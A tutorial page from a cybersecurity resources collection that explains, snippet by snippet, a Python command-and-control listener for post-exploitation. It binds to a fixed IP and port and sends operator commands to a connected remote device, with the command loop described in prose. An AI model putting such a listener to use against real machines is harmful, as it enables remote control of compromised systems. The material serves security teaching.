cyber-security-resources/programming_and_scripting_for_cybersecurity/post_exploitation/c2_example1.md

Example of Creating a C2 Using Python

Let's create a Python script that sets up a listener to communicate with a remote device. The listener waits for a connection, then allows the user to send commands to the remote device. 🤖 Checkout this prompt in ChatGPT

Here's a breakdown of the code:

1. Importing Required Module:

   import socket
   

   The script imports the socket module, which provides a way for Python to interact with network sockets.

2. Identifier Constant:

   IDENTIFIER = "<END_OF_COMMAND_RESULT>"
   

   This string serves as an identifier to determine the end of a command result.

3. Main Script Execution: The script uses an if __name__ == "__main__": block to ensure that the code inside it only runs if the script is executed directly (and not imported as a module).

4. Setting Up the Socket:

   hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   

   A new TCP socket (SOCK_STREAM) is created for IPv4 communication (AF_INET).

5. Socket Address Configuration:

   IP = "10.6.6.88"
   Port = 1337
   socket_address = (IP, Port)
   

   The IP address and port for the listener are defined.

6. Binding and Listening:

   hacker_socket.bind(socket_address)
   hacker_socket.listen(5)
   print("listening for incoming connection requests")
   

   The socket is bound to the specified IP address and port, and it starts listening for incoming connections with a backlog of 5.

7. Accepting Connections:

   hacker_socket, client_address = hacker_socket.accept()
   print("connection established with ", client_address)
   

   The script waits for a connection. When one is established, it prints the client's address.

8. Command Loop: The main loop of the script lets the user input commands to send to the connected device:

   • If the command is "stop", the socket closes and the script ends.
   • If the command is empty, the loop continues without sending anything.
   • If the command starts with "cd", it sends the command and moves to the next iteration.
   • For other commands, it sends the command and waits for a response. The response is received in chunks and the loop continues until the IDENTIFIER is found.

9. Exception Handling: If any exception occurs during command execution or communication, the script prints "Exception occurred" and closes the socket.